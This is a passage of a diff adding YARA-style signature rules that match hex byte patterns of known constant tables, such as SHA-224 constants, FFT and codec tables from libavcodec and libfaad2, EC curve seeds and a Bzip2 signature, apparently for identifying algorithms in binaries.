+	$a0 = { 32174e943bc0a33f6909846deec50ec0891523e0451f96bf272679b193421f401e193a20933754bf4fb293c4f3ae26c0647f4c1e8a5b18bf4d09887d2e1c2a40394358692af390bf63b5752b409328c047300d1c5022963f6cdb66a843f72240b78fcd2efc3c95bf46dfc93f857d17c091279bb8aa57783ff64539758a0906404ef937ec421a693fe051ea97c2d5ebbfbf84db970e861f3f16d13fbc14d1c13f5d28529c85a1673fa0da136157beab3f067e1591e2d30bc00b67834508cf9dbf7c66f4dfe47319400be66b72ae6181bf74f40dec531821c0c887dc308f6e81bfe9b132f730f422409d2555d2c11981bfef099ff345a121c08687b8cbe6fd963fb218f603836a1b4027b5174825969abf0b1714d92e9411c0f6450e6b7ca3903fcb06e2b5a5910140385da18f99bb63bf9cb185618b08e8bf46fa6d50d6a17b3f762afdbcc4d4c03f332f363562c35ebff17717470cc9c33f91453d0b2b0803c088aa574132e3b7bf9e12478819ca0640f6d895b238fdafbf056db05a8a2a05c0d48d3c629827963fe2c06bf953e501400f40c7a3d19cacbf551ab06b63befabfab4ee8562d7ba83f3b04020a6918f03fd63ec6ab3b36623f1eedb5ba0369ddbf2f6b14b95840a03ff84a2e0cccf6c43fee212387b17a8cbf2f298518a5c3a9bf509b480aa4ae7a3f90be1947df0a983fcf8d6b09e10c82bf2d214465d863d33fbde63db4bfcdf9bf0df21bdd26f2ccbfcfb4b911c246f13f1f9bd6d9c9fbb5bf9a8bfa71856bd0bf306a889200cfa03fb1d68a298ed5c4bf2af127acebc082bf08fae10d50faccbf4a17eb4d743598bf2191f24f8d09d93f3a52613c77f077bfe74d07b23956ccbf2ca23b131b11b03f7c73426c8c0aa73f0577a2c2c15de1bedabb615c388a943f5dec1d953cdd603fbf9c13889bc6683ffe4fe1129a359ebf5c41cc89f487d53f30769f4a39faf7bff945858bc15dd0bfef1bccf6bbf3eb3f8adcb5c4f847bebfcf099af4ae3ebf3f5252e8dca484be3fec02205e15d9e9bfc81f893e690eb4bfd845019087a0de3f4f65895b134073bfc6b955927fe1bfbf14bc979d5b2578bf6e4972f15dd3a4bf972b273ddc4ead3f3e27fb1f9c55b53fbc79e6864e0a813ffed3d80ffab1a5bf790186de0dbf90bf5c4be602927c9e3f8ccad07f320692bf81d58f67eabedc3f2b6367df431ae4bfc073c0acc85ec2bfb7506661c9fbd23f00b8ac88fd29cdbfe351638a15d8d7bf0fec9f9961108dbfb7d4b0710983613fb29cc3ea75e1a43f8225ba6d2ae6dabf43fc8ca642bdbfbfaff0caa9616acc3f564a04b5c2faa43f70baf5733820793fc1afbd2e31d3ba3fde033ee81e46b13f1e5ea7ef111693bf4cc68b9e479ead3fec2625c6b059a0bf5755dcd22080a03f4ca44d895032763fd6af065d441ee23fc5667c299fc4f0bf6bb4345e0c26e8bfd5a1f85bf8a8d23f489b194439cac43f513d8a2ce527d1bf660602f3c06ec53f2372efe428cb803fe872657bad31c8bfca8a1288c4d5dc3fec154801ddcbd33f16d7da690724d5bfbe80c76aeaa3d1bfb332dd61b640b13f4a7c425e8b837a3f6c2afd54d17ea8bf135449633a23b63fd8d4fe84ebca903f7c34f63e4c66a3bf3ad777aae581923fde9bcccee21778bf0dd62bb19797e23f09a20462d054e0bf1ecc37ab1604e1bf9f350ab68664d4bf97b797397b4ac2bfe91a401f9fedc9bf2a705b3f2f6dc63f71ddaf1d1fdac23feb47a705a459983f47b4012300eed83fae9e114f31eac33f8f9674fd4ad7cdbf2180128b7d38d0bfa09fe2e20fdcaabf665e1e9feaac903f8b50fe713aa999bf0d3831d365b7b13fa762e93f7e02993ff8efaa90fd0da3bfe360acc3e09f923f6369eea252b47ebf779d26a8e82ae13f1cdc0cc82b08d0bfdd4517d6fdfbdabf94630740e5a4dbbfbdab4dac2a9b66bfed256743cc88a1bfd5332337f2d9a53f2caa90a6faf3a7bf2a10d9d36926babf8ddf4364bce6d03fdc1108b11aadc23f63d6e6464558c33fcd4bf05c633099bf18ea3468e978c6bfa768099e8cadbcbf6927f775ec17c8bfdf13ec6391c9a4bffaa9f4f9c10bac3fba156b869984a83f3b3326f32916a83ffbc3043130b696bf }
+
+condition:
+	$a0
+}
+
+	
+rule Sober_mul206___t_class_8_mul0xCE__8_byt_256_
+{
+strings:
+	$a0 = { 00ced11fef213ef0935d428c7cb2ad636ba5ba74844a559bf83629e717d9c608d61807c939f7e826458b945aaa647bb5bd736ca2529c834d2ee0ff31c10f10dee12f30fe0ec0df1172bca36d9d534c828a445b9565abb47a19d7c806f63827e937f9e628d81609c7a46a75bb4b859a545c928d43b37d62accf011ed020eef13f8f415e9060aeb17f1cd2cd03f33d22ece42a35fb0bc5da1477b9a6689856498759978846b67867a9ca041bd525ebf43a32fce32ddd130cc2a16f70be4e809f516ea0bf71814f509efd332ce212dcc30d05cbd41aea243bf59658478979b7a866b87669a7579986482be5fa34c40a15dbd31d02cc3cf2ed23408e915faf617eb0 }
+
+condition:
+	$a0
+}
+
+	
+rule SHA224__32_big_AND_
+{
+strings:
+	$a0 = { c1059ed8[0-20]367cd507[0-20]3070dd17[0-20]f70e5939[0-20]ffc00b31[0-20]68581511[0-20]64f98fa7[0-20]befa4fa4[0-20]428a2f98[0-20]71374491[0-20]b5c0fbcf[0-20]e9b5dba5[0-20]3956c25b[0-20]59f111f1[0-20]923f82a4[0-20]ab1c5ed5[0-20]d807aa98[0-20]12835b01[0-20]243185be[0-20]550c7dc3[0-20]72be5d74[0-20]80deb1fe[0-20]9bdc06a7[0-20]c19bf174[0-20]e49b69c1[0-20]efbe4786[0-20]0fc19dc6[0-20]240ca1cc[0-20]2de92c6f[0-20]4a7484aa[0-20]5cb0a9dc[0-20]76f988da[0-20]983e5152[0-20]a831c66d[0-20]b00327c8[0-20]bf597fc7[0-20]c6e00bf3[0-20]d5a79147[0-20]06ca6351[0-20]14292967[0-20]27b70a85[0-20]2e1b2138[0-20]4d2c6dfc[0-20]53380d13[0-20]650a7354[0-20]766a0abb[0-20]81c2c92e[0-20]92722c85[0-20]a2bfe8a1[0-20]a81a664b[0-20]c24b8b70[0-20]c76c51a3[0-20]d192e819[0-20]d6990624[0-20]f40e3585[0-20]106aa070[0-20]19a4c116[0-20]1e376c08[0-20]2748774c[0-20]34b0bcb5[0-20]391c0cb3[0-20]4ed8aa4a[0-20]5b9cca4f[0-20]682e6ff3[0-20]748f82ee[0-20]78a5636f[0-20]84c87814[0-20]8cc70208[0-20]90befffa[0-20]a4506ceb[0-20]bef9a3f7[0-20]c67178f2 }
+
+condition:
+	$a0
+}
+
+	
+rule FFT_and_FHT_routines_rv_tbl__16_lil_256_
+{
+strings:
+	$a0 = { 000080004000c0002000a0006000e000100090005000d0003000b0007000f000080088004800c8002800a8006800e800180098005800d8003800b8007800f800040084004400c4002400a4006400e400140094005400d4003400b4007400f4000c008c004c00cc002c00ac006c00ec001c009c005c00dc003c00bc007c00fc00020082004200c2002200a2006200e200120092005200d2003200b2007200f2000a008a004a00ca002a00aa006a00ea001a009a005a00da003a00ba007a00fa00060086004600c6002600a6006600e600160096005600d6003600b6007600f6000e008e004e00ce002e00ae006e00ee001e009e005e00de003e00be007e00fe00 }
+
+condition:
+	$a0
+}
+
+	
+rule epTool_punctbl__32_big_300_
+{
+strings:
+	$a0 = { 000000000000000000000000000000800000000000000000000000880000000000000000000000a80000000000000000000000aa0000000000000000000000ea0000000000000000000000ee0000000000000000000000fe0000000000000000000000ff0000000000000000000000ff0000008000000000000000ff0000008800000000000000ff000000a800000000000000ff000000aa00000000000000ff000000ea00000000000000ff000000ee00000000000000ff000000fe00000000000000ff000000ff00000000000000ff000000ff00000080000000ff000000ff00000088000000ff000000ff000000a8000000ff000000ff000000aa000000ff000000ff000000ea000000ff000000ff000000ee000000ff000000ff000000fe000000ff000000ff000000ff }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_p_from_kurt_func__flt64___64_lil_328_
+{
+strings:
+	$a0 = { 6d533c2eaa45d73f4d1421753bfbdc3fe607aef20442e13fada415df50f8e33fca8d226b0da5e63fa35c1abff04ae93face0b721c6ebeb3fb2666490bb88ee3fe197fa795391f03f9335ea211addf13f9d685721e527f33fc442ad69de71f43fd0d556ec2fbbf53fa4aa09a2ee03f73f234a7b832f4cf83f323d61890794f93fb30c71ac8bdbfa3fa6b8aaecbb22fc3fefc9c342ad69fd3f8e40bcae5fb0fe3ff4e0eeacddf6ff3f91d5ad9e939e0040c4b12e6ea34101404d672783a3e40140f3936a9f8e87024026fc523f6f2a034077db85e63acd034055f65d11fc6f0440c24cdbbfb2120540bedefdf15eb50540800ef3e5055806409817601f9dfa064077be9f1a2f9d0740e4a08499b63f084018213cda38e20840143fc6dcb5840940d7fa22a12d270a4061545227a0c90a4079e92631086c0b40917efb3a700e0c4070b1a206d3b00c40 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pow05_table__flt64___64_lil_56_
+{
+strings:
+	$a0 = { b1d35a999fe8fa3fe33b7f669ea0f63f10b7310afe06f33f000000000000f03f84d35a999fe8ea3fe33b7f669ea0e63f10b7310afe06e33f }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_CHAR2_359V1_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 2b354920b724d696e67687561517585ba1332dc6 }
+
+condition:
+	$a0
+}
+
+	
+rule E2_values__32_lil_AND_
+{
+strings:
+	$a0 = { 01234567[0-20]89abcdef[0-20]582ed330[0-20]84499eb8[0-20]eccf5709[0-20]2e5000d8[0-20]00ffff00[0-20]ffff0000[0-20]ff0000ff[0-20]0000ffff[0-20]ff00ff00 }
+
+condition:
+	$a0
+}
+
+	
+rule Smacker_sizetable__32_big_256_
+{
+strings:
+	$a0 = { 0000000100000002000000030000000400000005000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000001400000015000000160000001700000018000000190000001a0000001b0000001c0000001d0000001e0000001f000000200000002100000022000000230000002400000025000000260000002700000028000000290000002a0000002b0000002c0000002d0000002e0000002f000000300000003100000032000000330000003400000035000000360000003700000038000000390000003a0000003b0000008000000100000002000000040000000800 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_96_128_and_sfb_64_128__avcodec___faad___16_lil_24_
+{
+strings:
+	$a0 = { 040008000c0010001400180020002800300040005c008000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qcelp_lspvq5__16_lil_256_
+{
+strings:
+	$a0 = { 6801de003403490459023f017806c6005c02010210068d006f059b00aa0905010d011103b70586026304bf00df07df0011034c03b204f303d4032703c60b19033a02b4006f0466050a0300016d07b30027036e02b505ca01cf04b200ec07350383019f03d805ec0378038801c60855012701b6058404b602fe03d901b2085405d200de010504fc03d202b500c206fb00da02e801b905250117054601230a8301ca0148022106e6020504ad007607ef015d028704f404cf02cd038602380bac01bb014e014303b90590038a00b406ba016c020a032405c201a2044f01a6058106e6011a048b06fb0370031601a608ca001b021c0676041502d803870152084104 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_indeo_ir2_codes_le__16_big_572_
+{
+strings:
+	$a0 = { 000000030004000300060003000100050009000500190005000d0005001d0005002300060013000600330006000b0006002b0006001b000600070008008700080027000800a700080067000800e7000800970008005700080037000800b7000800f70008000f0009008f0009018f0009014f000900cf0009002f0009012f000901af0009006f000900ef000901ef0009001f000a021f000a011f000a031f000a009f000a029f000a019f000a039f000a005f000a025f000a015f000a035f000a00df000a02df000a01df000a03df000a003f000d103f000d083f000d183f000d043f000d143f000d0c3f000d1c3f000d023f000d123f000d0a3f000d1a3f000d063f000d163f000d0e3f000d1e3f000d013f000d113f000d093f000d193f000d053f000d153f000d0d3f000d1d3f000d033f000d133f000d0b3f000d1b3f000d073f000d173f000d0f3f000d1f3f000d00bf000d10bf000d08bf000d18bf000d04bf000d14bf000d0cbf000d1cbf000d02bf000d12bf000d0abf000d1abf000d06bf000d16bf000d0ebf000d1ebf000d01bf000d11bf000d09bf000d19bf000d05bf000d15bf000d0dbf000d1dbf000d03bf000d13bf000d0bbf000d1bbf000d07bf000d17bf000d0fbf000d1fbf000d007f000e207f000e107f000e307f000e087f000e287f000e187f000e387f000e047f000e247f000e147f000e0002000300110005000500050015000500030006003b00060047000800c700080017000800d7000800770008010f0009004f000901cf000900af0009016f0009 }
+
+condition:
+	$a0
+}
+
+	
+rule PSX_VAG_CD_ROM_XA_ADPCM_table__32_big_40_
+{
+strings:
+	$a0 = { 00000000000000000000003C0000000000000073FFFFFFCC00000062FFFFFFC90000007AFFFFFFC4 }
+
+condition:
+	$a0
+}
+
+	
+rule Bzip2_signature__8_byt_STR_6_
+{
+strings:
+	$a0 = { 425a68393141 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_sqrt_2_hi_filter__flt32___32_big_36_
+{
+strings:
+	$a0 = { 3ce5f6413d799bf8bd964895bed452733f4c1db3bed45273bd9648953d799bf83ce5f641 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdvdkit2_p_crypt_tab0__8_byt_256_
+{
+strings:
+	$a0 = { b7f48257da4ddbe22f521aa8685a8afffb0e6d35f75c7612ce25792939620824a5857b56012368cf0ae25aed3d59b0a9b02cf2b8ef32a9408071af1ede8f5888b83ad0fcc41eb5a0bb3b0f017e1f9fd9aab83d9d741e25db37568f16ba492bacd0bd9520be7a28d05164631c7f6610bbc4561a046e0aec9cd6e89a7acf8cdbb1ef71de31ff543e5e076996b0cfdd9e47c7968fe42b59c6eeb9869a648472e25ba29658995003f5384d027de77d75a7b86787843f1d11e5fc1ed38316a529f6c71561291a434f9bafc587346c0f3ba81d455825dca8a33bd1791b48f2e9931ffcdb2a90a98a3d3918a38e586ce012bb25cd7122a264c6e7fbad9477049a39cf7c }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_480__flt32___32_lil_3840_
+{
+strings:
+	$a0 = { 0000803f0000000063fa7f3fbf75563c8be97f3f0b71d63c79cd7f3fe7ce203d2fa67f3f3b5e563daf737f3f14f2853df9357f3f2aafa03d12ed7e3f3465bb3dfd987e3f0513d63dbc397e3f73b7f03d55cf7d3fa9a8053ecb597d3fbbef123e25d97c3f5c30203e674d7c3ff5692d3e98b67b3ff39b3a3ebe147b3fc2c5473ee2677a3fcee6543e09b0793f83fe613e3ced783f4e0c6f3e841f783f9c0f7c3eea46773fee83843e7763763f3efa8a3e3675753f766a913e307c743f4dd4973e7178733f7a379e3e036a723fb693a43ef450713fbce8aa3e4f2d703f4236b13e20ff6e3f017cb73e77c66d3fb4b9bd3e5e836c3f16efc33ee6356b3fdf1bca3e1dde693fc93fd03e127c683f925ad63ed40f673ff46bdc3e7499653fab73e23e0119643f7271e83e8d8e623f0765ee3e28fa603f284ef43ee65b5f3f912cfa3ed7b35d3f0000003f0f025c3f1be4023fa0465a3f77c2053f9e81583ff69a083f1db3563f776d0b3f31db543fda390e3feff9523f0000113f6b0f513fcabf133fbd1b4f3f1879163ff81e4d3fcd2b193f34194b3fcad71b3f870a493ff17c1e3f09f3463f241b213fd1d2443f46b2233ff7a9423f3b42263f9278403fe4ca283fbd3e3e3f254c2b3f8ffc3b3fe3c52d3f23b2393f0138303f905f373f66a2323ff304353ff304353f65a2323f915f373f0138303f23b2393fe2c52d3f90fc3b3f244c2b3fbe3e3e3fe3ca283f9378403f3a42263ff7a9423f46b2233fd2d2443f241b213f0af3463ff17c1e3f880a493fc9d71b3f35194b3fcd2b193ff91e4d3f1879163fbd1b4f3fc9bf133f6c0f513f0000113feff9523fd9390e3f32db543f766d0b3f1eb3563ff69a083f9e81583f76c2053fa1465a3f1be4023f0f025c3fffffff3ed8b35d3f8e2cfa3ee75b5f3f274ef43e29fa603f0565ee3e8d8e623f7271e83e0119643fa973e23e7499653ff16bdc3ed50f673f925ad63e127c683fc83fd03e1ede693fdc1bca3ee7356b3f15efc33e5e836c3fb3b9bd3e77c66d3ffe7bb73e21ff6e3f4136b13e4f2d703fbae8aa3ef450713fb793a43e036a723f79379e3e7178733f4ad4973e307c743f756a913e3675753f3cfa8a3e7863763fef83843eea46773f9a0f7c3e841f783f490c6f3e3ced783f83fe613e09b0793fcbe6543ee2677a3fbcc5473ebf147b3ff39b3a3e98b67b3ff1692d3e674d7c3f5530203e25d97c3fb9ef123ecb597d3fa4a8053e55cf7d3f73b7f03dbc397e3fff12d63dfd987e3f2865bb3d12ed7e3f28afa03df9357f3f0cf2853daf737f3f3f5e563d2fa67f3fdfce203d79cd7f3fe370d63c8be97f3fc075563c63fa7f3f2ebd3bb30000803f1e7656bc63fa7f3f1271d6bc8be97f3ff7ce20bd79cd7f3f565e56bd2fa67f3f18f285bdaf737f3f34afa0bdf9357f3f3465bbbd12ed7e3f0b13d6bdfd987e3f7fb7f0bdbc397e3faaa805be55cf7d3fbfef12becb597d3f5a3020be25d97c3ff7692dbe674d7c3ff89b3abe98b67b3fc2c547bebe147b3fd1e654bee1677a3f88fe61be08b0793f4f0c6fbe3ced783fa00f7cbe841f783ff28384beea46773f3ffa8abe7763763f786a91be3575753f4cd497be307c743f7b379ebe7078733fba93a4be036a723fbce8aabef450713f4336b1be4e2d703f017cb7be21ff6e3fb6b9bdbe76c66d3f18efc3be5e836c3fde1bcabee7356b3fcb3fd0be1dde693f955ad6be117c683ff46bdcbed40f673fa873e2be7499653f7571e8be0019643f0865eebe8c8e623f264ef4be29fa603f942cfabee55b5f3f010000bfd7b35d3f1ae402bf0f025c3f79c205bf9f465a3ff79a08bf9e81583f776d0bbf1db3563fdc390ebf30db543f010011bfeef9523fcabf13bf6c0f513f177916bfbd1b4f3fce2b19bff71e4d3fcad71bbf34194b3ff07c1ebf880a493f261b21bf08f3463f47b223bfd1d2443f3a4226bff7a9423fe5ca28bf9178403f264c2bbfbd3e3e3fe3c52dbf8ffc3b3f033830bf21b2393f66a232bf8f5f373ff30435bff304353f925f37bf63a2323f24b239bf0038303f90fc3bbfe2c52d3fbf3e3ebf224c2b3f947840bfe2ca283ff8a942bf3a42263fd1d244bf47b2233f0bf346bf221b213f880a49bff07c1e3f34194bbfcad71b3ffa1e4dbfcb2b193fbe1b4fbf1779163f6c0f51bfcabf133ff1f952bffeff103f32db54bfd9390e3f1db356bf776d0b3fa08158bff39a083fa1465abf76c2053f0f025cbf1ae4023fd7b35dbf0100003fe75b5fbf8d2cfa3e29fa60bf264ef43e8d8e62bf0865ee3e021964bf6d71e83e749965bfa873e23ed40f67bff46bdc3e137c68bf8d5ad63e1ede69bfc73fd03ee7356bbfde1bca3e60836cbf10efc33e77c66dbfb1b9bd3e21ff6ebf007cb73e502d70bf3c36b13ef55071bfb8e8aa3e046a72bfb693a43e727873bf73379e3e317c74bf48d4973e367575bf746a913e776376bf3ffa8a3eeb4677bfea83843e851f78bf980f7c3e3ced78bf4e0c6f3e09b079bf78fe613ee2677abfc8e6543ebf147bbfc1c5473e98b67bbfe89b3a3e674d7cbfee692d3e25d97cbf5a30203ecc597dbfaeef123e55cf7dbfa1a8053ebc397ebf6db7f03dfd987ebf0913d63d13ed7ebf2265bb3dfa357fbf22afa03daf737fbf16f2853d30a67fbf135e563d79cd7fbfd3ce203d8be97fbf0c71d63c63fa7fbf1175563c0000803f000000008be97f3f0b71d63c2fa67f3f3b5e563df9357f3f2aafa03dfd987e3f0513d63d55cf7d3fa9a8053e25d97c3f5c30203e98b67b3ff39b3a3ee2677a3fcee6543e3ced783f4e0c6f3eea46773fee83843e3675753f766a913e7178733f7a379e3ef450713fbce8aa3e20ff6e3f017cb73e5e836c3f16efc33e1dde693fc93fd03ed40f673ff46bdc3e0119643f7271e83e28fa603f284ef43ed7b35d3f0000003fa0465a3f77c2053f1db3563f776d0b3feff9523f0000113fbd1b4f3f1879163f34194b3fcad71b3f09f3463f241b213ff7a9423f3b42263fbd3e3e3f254c2b3f23b2393f0138303ff304353ff304353f0138303f23b2393f244c2b3fbe3e3e3f3a42263ff7a9423f241b213f0af3463fc9d71b3f35194b3f1879163fbd1b4f3f0000113feff9523f766d0b3f1eb3563f76c2053fa1465a3fffffff3ed8b35d3f274ef43e29fa603f7271e83e0119643ff16bdc3ed50f673fc83fd03e1ede693f15efc33e5e836c3ffe7bb73e21ff6e3fbae8aa3ef450713f79379e3e7178733f756a913e3675753fef83843eea46773f490c6f3e3ced783fcbe6543ee2677a3ff39b3a3e98b67b3f5530203e25d97c3fa4a8053e55cf7d3fff12d63dfd987e3f28afa03df9357f3f3f5e563d2fa67f3fe370d63c8be97f3f2ebd3bb30000803f1271d6bc8be97f3f565e56bd2fa67f3f34afa0bdf9357f3f0b13d6bdfd987e3faaa805be55cf7d3f5a3020be25d97c3ff89b3abe98b67b3fd1e654bee1677a3f4f0c6fbe3ced783ff28384beea46773f786a91be3575753f7b379ebe7078733fbce8aabef450713f017cb7be21ff6e3f18efc3be5e836c3fcb3fd0be1dde693ff46bdcbed40f673f7571e8be0019643f264ef4be29fa603f0000803f000000002fa67f3f3b5e563dfd987e3f0513d63d25d97c3f5c30203ee2677a3fcee6543eea46773fee83843e7178733f7a379e3e20ff6e3f017cb73e1dde693fc93fd03e0119643f7271e83ed7b35d3f0000003f1db3563f776d0b3fbd1b4f3f1879163f09f3463f241b213fbd3e3e3f254c2b3ff304353ff304353f244c2b3fbe3e3e3f241b213f0af3463f1879163fbd1b4f3f766d0b3f1eb3563fffffff3ed8b35d3f7271e83e0119643fc83fd03e1ede693ffe7bb73e21ff6e3f79379e3e7178733fef83843eea46773fcbe6543ee2677a3f5530203e25d97c3fff12d63dfd987e3f3f5e563d2fa67f3f2ebd3bb30000803f565e56bd2fa67f3f0b13d6bdfd987e3f5a3020be25d97c3fd1e654bee1677a3ff28384beea46773f7b379ebe7078733f017cb7be21ff6e3fcb3fd0be1dde693f7571e8be0019643f010000bfd7b35d3f776d0bbf1db3563f177916bfbd1b4f3f261b21bf08f3463f264c2bbfbd3e3e3ff30435bff304353fbf3e3ebf224c2b3f0bf346bf221b213fbe1b4fbf1779163f1db356bf776d0b3fd7b35dbf0100003f021964bf6d71e83e1ede69bfc73fd03e21ff6ebf007cb73e727873bf73379e3eeb4677bfea83843ee2677abfc8e6543e25d97cbf5a30203efd987ebf0913d63d30a67fbf135e563d000080bf2ebdbbb32fa67fbf425e56bdfc987ebf2113d6bd24d97cbf653020bee1677abfd4e654beea4677bfef8384be717873bf79379ebe20ff6ebf067cb7be1dde69bfcc3fd0be011964bf7371e8bed5b35dbf030000bf1cb356bf796d0bbfbc1b4fbf1a7916bf09f346bf251b21bfbd3e3ebf254c2bbff10435bff50435bf234c2bbfbe3e3ebf231b21bf0af346bf157916bfbf1b4fbf786d0bbf1db356bf0000803f00000000f9357f3f2aafa03d25d97c3f5c30203e3ced783f4e0c6f3e7178733f7a379e3e5e836c3f16efc33e0119643f7271e83ea0465a3f77c2053fbd1b4f3f1879163ff7a9423f3b42263ff304353ff304353f3a42263ff7a9423f1879163fbd1b4f3f76c2053fa1465a3f7271e83e0119643f15efc33e5e836c3f79379e3e7178733f490c6f3e3ced783f5530203e25d97c3f28afa03df9357f3f0000803f0000000025d97c3f5c30203e7178733f7a379e3e0119643f7271e83ebd1b4f3f1879163ff304353ff304353f1879163fbd1b4f3f7271e83e0119643f79379e3e7178733f5530203e25d97c3f2ebd3bb30000803f5a3020be25d97c3f7b379ebe7078733f7571e8be0019643f177916bfbd1b4f3ff30435bff304353fbe1b4fbf1779163f021964bf6d71e83e727873bf73379e3e25d97cbf5a30203e0000803f000000003ced783f4e0c6f3e0119643f7271e83ef7a9423f3b42263f1879163fbd1b4f3f15efc33e5e836c3f5530203e25d97c3f34afa0bdf9357f3f7b379ebe7078733f79c205bf9f465a3ff30435bff304353fa1465abf76c2053f727873bf73379e3efa357fbf22afa03d24d97cbf653020be5e836cbf15efc3bebc1b4fbf1a7916bf384226bff9a942bf6871e8be031964bf530c6fbe3ced78bf0000803f000000007178733f7a379e3ebd1b4f3f1879163f1879163fbd1b4f3f79379e3e7178733f0000803f00000000bd1b4f3f1879163f79379e3e7178733f7b379ebe7078733fbe1b4fbf1779163f0000803f000000001879163fbd1b4f3f7b379ebe7078733f727873bf73379e3ebc1b4fbf1a7916bf0000803f000000000000803f000000000000803f000000000000803f000000007e379e3e707873bf }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_weights1__flt32___32_lil_124_
+{
+strings:
+	$a0 = { 39eef43d7028fc3de84a043e4743cc3d3fc7a73d19d8c43d75cab33d525eb03d2a80b83d7017cb3dd367e73de545063e268e1c3e098c353ed21a633e86cb7a3ed1e6883efd169d3e4966a53e46b1ac3eacc9bb3e3bfdc83e9ed0cb3e9a7dce3e6059d93ed0b9e33ef8fbe53e1630e93e26a9f43ed82b003f3fa9023f }
+
+condition:
+	$a0
+}
+
+	
+rule Smacker_sizetable__32_lil_256_
+{
+strings:
+	$a0 = { 0100000002000000030000000400000005000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000001400000015000000160000001700000018000000190000001a0000001b0000001c0000001d0000001e0000001f000000200000002100000022000000230000002400000025000000260000002700000028000000290000002a0000002b0000002c0000002d0000002e0000002f000000300000003100000032000000330000003400000035000000360000003700000038000000390000003a0000003b0000008000000000010000000200000004000000080000 }
+
+condition:
+	$a0
+}
+
+	
+rule All_Seeing_Eye__v__ping__aka_scanner__algorithm__32_lil_2048_
+{
+strings:
+	$a0 = { 0da70901ac21d630c72cd544ab43a31666cbc7300054e664782b0c6fd8a4bee62875168036e92c008b5165e44b4c8df257ff66582990b7d41818713a68190052ac01a0ed60a6cb42a5635a0d1bb92fa8eb2d51c43db736b64ef4303f9f27d0a083e3be167b55a09ae5385d37063003250f0f7641263ce4560693b57cf4d5309d9a6221dcf7f22d4c503b4685f21cccedf728d27641a27c3df8f5a4d3e3eb3b275dfbbfb3a80d654829c188d6de2a94f6b6d93695959e4ecf8e34fb731ed29fa28fc3179faaa3bc2f93328a18fec56bda6c50d8d734fe8a23b44452697dfa226acd859d1b7c39977bdccfc8ae9671d7225bf68e34ee3d5e6bbaafdd75b71b3229442703474fbb79c970b70560ff45c98e5c6599108f770c3c673679d2b1aced83d6fd95db27584b36bcd7d1ba216cb1042735d035aef4045479e61ebea7e5b86301bc328b0310436c894ba9a298d0694de0b4c0a9c0a17a2bc5306e61d12b6781000b4e51116147cdb79e378d026335dccccc4aac736bb4bb478b12df697f50997b74e0530f165a67af1ad319bef73cca2fc6605a8d85e89cc0ebf14646813e58fc793893f01e9506fbd20122cae8011ba998b8ff9214c2117a80f79b0d9742d2094687e8842c8f2ef277c2646ef318379995bb9a56689ebe1b04f5bda2c6a2d6ee64dc5e092f48b40cdd9b84ccb345ac45e22ae14a38b00bfd2f5bb6addd493eaeca3491a6baf1e7c3c5f643ed4eec2d423d29122e825dcb4f336ae7d96934f3433ad408910a147c15486b568394c5b9d808a54b014f72b80557149e408ddb4edf99488e0a721b1373df6c4d500f40ec2c8de972fcfb809bc97eb2daa4d874829b69fe50905e62f00761e566a9dc0e6233e453b1ebd3e333164d94c7c8db2a159faaf37fb5cf39f7a8e12f782dc33dd01e6c9052d28cef8412dab7774dc475e0a3c72487d786ade408a0e111545946897fec355c859916df64c98c07d0429a70a74a4c656218b6eb765e18d13ccbc1d80e59642f24da4fe2eabf448a76f8685e3900a21e3a32e190cf42e882387e8bc56ed3fdf35dbc0985bd979832b22d415cedf2a320f1fdfc09da9abaf6e40ef8bf9ce9dfd82576aa97b96d63cda01fc61d801ee7f7b640bf79d207fab56c0c6a246a209fee1c7959ba8ca14daf35ae129e4c4f9abc65ad270f94cd197a937cafada23169e3e79d086e59a5fffae665e2b0108e435f1f28210de3246874d40bee1e2b4cc53132d63f45035bc62d9ea99368130322cf7a53d2fa621d3bf4a5fc9df9958aaa86e836d8656d5659171dbda64aca9da7ab071db96d87db1a883395f712b85f7da8e287da7fa09ce468d31a925bf4b8e20030f14aa7263e7e2371ea532cef103a9c174b7775ec4e753dba41a50a173f9c2e67291a350bdc04988209de5a908feb04d6b2e57a0a26bdc52025e00177fe3fb01ae4dc698a15ef7d866a02b1e87a47f157335c94d760786e6a3ac7a1b1b2823e379ad9a33adecf6d4c358728d522866b79b6853ff172b6d4fdaff6924149b0a7724928474abd8b892c44178db57c732678abd3c0e123586c5873ff61f0f0c32bf6ce31a5c1760d922f262bfb37b12021535bbdeaa42161ad8a51d18a81d113e2b43f261ade9b85fcec058e4bf5c4f45b1575837738c2061d4947a7fdc639cc625f8b88077cc82bdd05eeace8b06e89557560578c3cac83f9819229c769beea255b8f1d10820e1c4fc1667ede7da2ee5794012e50bf9f67e6c4cccf716583d6a5c25da8c286b592bf488a448fd9ba70c34effbb8058d626de644a73f511ced9a66162334f3291fcefb09f1118346f570ebc3e4d595f37de7edcb8fd5114197c9d520737bdfff7ac49c6d4fba92dbb400f8ede867ec23cf848087d54432029b9097fe10787e2a6b32ccfe3602030f1daf05956e9e5516b41f8b81381ff6196024e18f615ccd1ea45c91902c8af22d4740ab904c05d211184c1e9f0c346f65a5c815aca84a69ee562c2af9ceb0e92a36f966fc05f1c3fa9aeaa99be6c95f95c55719ce6388b522e337943c90b603eeeca67e51790db020dcbd531747dc66f054b2422849641ab1f1da12aa8760c686725a4bf5aa9dd96712d4a66936eabcb09cdea10e0d5389de0adb897111f74532a77cb9a916621360293b777a7fac4a181f228cb0698c31c0c1b1a14d7f49691068f0b7ec720d798948d8323460daaa6a4549747c88cee2eaef970b34d06f85e73812afa311019be89b4e06d5c787d5aa800940b6764b27443c4b4ddf555b55484d7c0d5125876c8534f8f87a54cefd4557fb2db3bae3a847ba13cefd17b2624b6313bfb987ffe3bc09636c970f5985582e615895feac1aa68b1f242640a88e7f84259df7bcd66f3b92ccae022706f1dfcab14f9c151c888701f063f5099e3d37fa60c0cb